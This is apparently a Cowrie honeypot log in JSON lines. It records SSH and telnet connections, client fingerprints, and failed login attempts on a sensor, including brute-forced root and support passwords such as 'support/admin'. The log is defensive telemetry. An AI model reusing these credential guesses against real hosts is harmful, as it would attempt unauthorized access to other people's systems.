{"eventid":"cowrie.login.failed","username":"root","password":"rfpfyjdf","message":"login attempt [root/rfpfyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:09.873513Z","src_ip":"103.77.242.62","session":"36be3ac23ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:11.124906Z","src_ip":"103.77.242.62","session":"36be3ac23ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":25278,"dst_ip":"10.17.0.5","dst_port":22,"session":"a61fbbcda8c5","protocol":"ssh","message":"New connection: 193.46.255.86:25278 (10.17.0.5:22) [session: a61fbbcda8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:15.631367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:15.638770Z","src_ip":"193.46.255.86","session":"a61fbbcda8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:15.769166Z","src_ip":"193.46.255.86","session":"a61fbbcda8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:16.363928Z","src_ip":"193.46.255.86","session":"a61fbbcda8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.322786092758179,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:18.072035Z","src_ip":"92.53.55.148","session":"f7d09e3b6b1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.209.8.82","src_port":40508,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b31a36fe385","protocol":"ssh","message":"New connection: 209.209.8.82:40508 (10.17.0.5:22) [session: 8b31a36fe385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.809453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.813811Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.834092Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:86:97:da:1f:34:09:f3:b1:bb:fc:7f:79:32:ce:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDI4L1xkDvKinCyBShqAm7MjwD5s5BoGO1N/FAqbJMfVbxrWVzb02HH7CjtUclAEbnFvVLzxuPxo4pmV7AzaZ/eOyB1SVVGEGnf+SOFXuQvtNje7DA5/Bs3l3I6znBIqXKgfzaoMbpASLPXXh6UqZeA+kLj6PBAQsDD1q1hsO81TtJ6syhZe5nah8WtwKrPhfqorqKbIdU/U9jQAMi+xX9yssKd5yQN4xdYupjByf0hVGImd+4uPsmi+KVJDew6+TvbZIxG1j2+f7cnIs9DDs+I1fTpxky9TSFpacSYUFMKbl9D6uMJjp6o50UpefzQI/Mvfb9ZWPMZIGxTQfr9VUiq6lSU5ExcbjpbT7uxNvnO0ac6NHX1b9TKlsVViX7MsppB9hk3qFL8IFiKrKq7s9PzVp0aem+EIPqKDVo2UBHbwt9LUV1mGOPWSl0q5KZ9j5m5fRMgpysjMY08FYvq1gucxO/WFyevzYj/w3SwkYM+LLrSTRNDrzhuZOlGIaxVBbE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:86:97:da:1f:34:09:f3:b1:bb:fc:7f:79:32:ce:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.914194Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:86:97:da:1f:34:09:f3:b1:bb:fc:7f:79:32:ce:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDI4L1xkDvKinCyBShqAm7MjwD5s5BoGO1N/FAqbJMfVbxrWVzb02HH7CjtUclAEbnFvVLzxuPxo4pmV7AzaZ/eOyB1SVVGEGnf+SOFXuQvtNje7DA5/Bs3l3I6znBIqXKgfzaoMbpASLPXXh6UqZeA+kLj6PBAQsDD1q1hsO81TtJ6syhZe5nah8WtwKrPhfqorqKbIdU/U9jQAMi+xX9yssKd5yQN4xdYupjByf0hVGImd+4uPsmi+KVJDew6+TvbZIxG1j2+f7cnIs9DDs+I1fTpxky9TSFpacSYUFMKbl9D6uMJjp6o50UpefzQI/Mvfb9ZWPMZIGxTQfr9VUiq6lSU5ExcbjpbT7uxNvnO0ac6NHX1b9TKlsVViX7MsppB9hk3qFL8IFiKrKq7s9PzVp0aem+EIPqKDVo2UBHbwt9LUV1mGOPWSl0q5KZ9j5m5fRMgpysjMY08FYvq1gucxO/WFyevzYj/w3SwkYM+LLrSTRNDrzhuZOlGIaxVBbE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.917320Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:02:eb:42:67:23:b4:fa:86:f8:aa:68:74:3b:38:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaSjx1tgOtjebmFAul7Ago9hU1qrFdNjln7peCsaPreRgDoO/KwIwtU3cJt5D7dzR7KlIdT/lw9NQtEIdzsAWM9VZVZSdngy6sFpCh+Mn6cfPMINJIXJvi3BAQ5CMRYCTTwRz74eID7LIE5UNYQlmiZDPL/6QuJX8HSEfrVQrX5l6ZDFZ5OfJf3TRNkaLxWtO6cnDgyTxuxZAGcUseY6YiUrbax3aM9RtQ1khIuL0vmmSwY4NudSo5HwJd20o8c6fwpGA0/DENP8taIQR6fvZh6+IP85ewH1v0B8fwqOk0ZflvLZn3kToP63njPxqmrUuFrz5vkOnHVWrq2U11P+8B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:02:eb:42:67:23:b4:fa:86:f8:aa:68:74:3b:38:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.942439Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:02:eb:42:67:23:b4:fa:86:f8:aa:68:74:3b:38:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaSjx1tgOtjebmFAul7Ago9hU1qrFdNjln7peCsaPreRgDoO/KwIwtU3cJt5D7dzR7KlIdT/lw9NQtEIdzsAWM9VZVZSdngy6sFpCh+Mn6cfPMINJIXJvi3BAQ5CMRYCTTwRz74eID7LIE5UNYQlmiZDPL/6QuJX8HSEfrVQrX5l6ZDFZ5OfJf3TRNkaLxWtO6cnDgyTxuxZAGcUseY6YiUrbax3aM9RtQ1khIuL0vmmSwY4NudSo5HwJd20o8c6fwpGA0/DENP8taIQR6fvZh6+IP85ewH1v0B8fwqOk0ZflvLZn3kToP63njPxqmrUuFrz5vkOnHVWrq2U11P+8B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.945914Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:02:55:30:a4:aa:62:64:b0:7d:c4:4e:ef:1c:67:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWkl6VdyQziTNu5u0mbbmgz+I+Z25ip6q/N152fDKeYseLaz0z39cTs763XZDHK1ut/Wav/OqkI+W5Bi/0h75dkVOaNd3Q7D5C84s0JvxW6Da1s4UjDQ44JHLXdMg2fFqI0p40Xq+/NkusJuO/il3487UV6I0PUF3bpDSJe/ViJWrkYeUhIpAuvBEGEgP9t0NStHtahFJruGrDMkic99LXlPL8pdgjvj/rV+E0Erf7WOpCDsu3BXUbNZQHF+wFaqQksl+qCUQ9fZedROu2UY12TirfY1HQc67xm6OWxZsrgn/3qeG+BQRB0aJkYYwuNl8HlSZnbD8apibxpwYn3J67","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:02:55:30:a4:aa:62:64:b0:7d:c4:4e:ef:1c:67:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.967425Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:02:55:30:a4:aa:62:64:b0:7d:c4:4e:ef:1c:67:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWkl6VdyQziTNu5u0mbbmgz+I+Z25ip6q/N152fDKeYseLaz0z39cTs763XZDHK1ut/Wav/OqkI+W5Bi/0h75dkVOaNd3Q7D5C84s0JvxW6Da1s4UjDQ44JHLXdMg2fFqI0p40Xq+/NkusJuO/il3487UV6I0PUF3bpDSJe/ViJWrkYeUhIpAuvBEGEgP9t0NStHtahFJruGrDMkic99LXlPL8pdgjvj/rV+E0Erf7WOpCDsu3BXUbNZQHF+wFaqQksl+qCUQ9fZedROu2UY12TirfY1HQc67xm6OWxZsrgn/3qeG+BQRB0aJkYYwuNl8HlSZnbD8apibxpwYn3J67","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.970485Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:7d:fc:16:71:31:b8:9d:27:8c:d4:cf:a2:32:6e:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuxD9Qe5HJ2mv8HZsLF3E/xWr1Y//GTRRbUAkliDaUdRWGnklRr6QnpaxJ8dIwpzt2seMBS5VmY7HXl+Str7rlNw9nLOzZ0yI981NfbIrnRK0VaU+kWhZAaDOlGBOYm1Fi94843BqXoxaJ3RFPxtisYB0cxvEzNG7ZcR7KYfp2x9MPNXztlLjZZ1ZrTxQ5nIDIHOLnD3J2f55S3lnacSiOpQQfbn9lF3GA9yBqm1j7Zv3FsLI+rGzD/QXvdDjdFLWMM7FoUxlrWbZY7g02lcprBJoVp8omInSSzKF7ILCdoa5T9sEbY4cKjhjd5EohiRYiy6Ty4Z+WHCJJFuWsurBT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:7d:fc:16:71:31:b8:9d:27:8c:d4:cf:a2:32:6e:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.990662Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:7d:fc:16:71:31:b8:9d:27:8c:d4:cf:a2:32:6e:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuxD9Qe5HJ2mv8HZsLF3E/xWr1Y//GTRRbUAkliDaUdRWGnklRr6QnpaxJ8dIwpzt2seMBS5VmY7HXl+Str7rlNw9nLOzZ0yI981NfbIrnRK0VaU+kWhZAaDOlGBOYm1Fi94843BqXoxaJ3RFPxtisYB0cxvEzNG7ZcR7KYfp2x9MPNXztlLjZZ1ZrTxQ5nIDIHOLnD3J2f55S3lnacSiOpQQfbn9lF3GA9yBqm1j7Zv3FsLI+rGzD/QXvdDjdFLWMM7FoUxlrWbZY7g02lcprBJoVp8omInSSzKF7ILCdoa5T9sEbY4cKjhjd5EohiRYiy6Ty4Z+WHCJJFuWsurBT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:40.994422Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:7d:e6:ef:8a:87:60:62:ec:d2:16:10:c9:eb:b9:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA30JXlf8jZctnuUgdRakowwa+j+M68YviBkau2T6JV0ZT+hfbi34jfQYb2QFfYrczxLtclujC3wwjOZb5uRLCYnZWglZOLpSC/OewI597mnr55XEYNbW6TG3auJKQclG8bYCuILPr/s7C9cntFm476UVqp0T0hSWOAcf0GvXM6tOXEL/kH5hk6TaEkOkWuBO65K6pPH0PVIZMQu5knS0zdgXGcbod09E6KVq5fe8fS22LGSMA7JDbsfbOMR2gdinE+p2+anTODdaOGaK6/jPj0X2V4ujoo7AVnyydoqzbwy0zTNMeBvmC6Imviw5926IEaM0J0GigYewimMiYoviIZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:7d:e6:ef:8a:87:60:62:ec:d2:16:10:c9:eb:b9:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:41.014765Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:7d:e6:ef:8a:87:60:62:ec:d2:16:10:c9:eb:b9:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA30JXlf8jZctnuUgdRakowwa+j+M68YviBkau2T6JV0ZT+hfbi34jfQYb2QFfYrczxLtclujC3wwjOZb5uRLCYnZWglZOLpSC/OewI597mnr55XEYNbW6TG3auJKQclG8bYCuILPr/s7C9cntFm476UVqp0T0hSWOAcf0GvXM6tOXEL/kH5hk6TaEkOkWuBO65K6pPH0PVIZMQu5knS0zdgXGcbod09E6KVq5fe8fS22LGSMA7JDbsfbOMR2gdinE+p2+anTODdaOGaK6/jPj0X2V4ujoo7AVnyydoqzbwy0zTNMeBvmC6Imviw5926IEaM0J0GigYewimMiYoviIZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:41.017618Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:41.038801Z","src_ip":"209.209.8.82","session":"8b31a36fe385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37370,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f487fb9c605","protocol":"telnet","message":"New connection: 180.235.129.180:37370 (10.17.0.5:23) [session: 1f487fb9c605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:49.461044Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.3.76","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d741dfb53ff","protocol":"ssh","message":"New connection: 27.79.3.76:51272 (159.203.135.109:22) [session: 4d741dfb53ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:54.970946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:55.006804Z","src_ip":"27.79.3.76","session":"4d741dfb53ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:55.236963Z","src_ip":"27.79.3.76","session":"4d741dfb53ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"admin","message":"login attempt [support/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:56.558297Z","src_ip":"27.79.3.76","session":"4d741dfb53ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:57.904571Z","src_ip":"27.79.3.76","session":"4d741dfb53ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":29448,"dst_ip":"10.17.0.5","dst_port":22,"session":"847ac0efc4f8","protocol":"ssh","message":"New connection: 87.121.69.138:29448 (10.17.0.5:22) [session: 847ac0efc4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:00.732186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:00.737220Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:00.819366Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
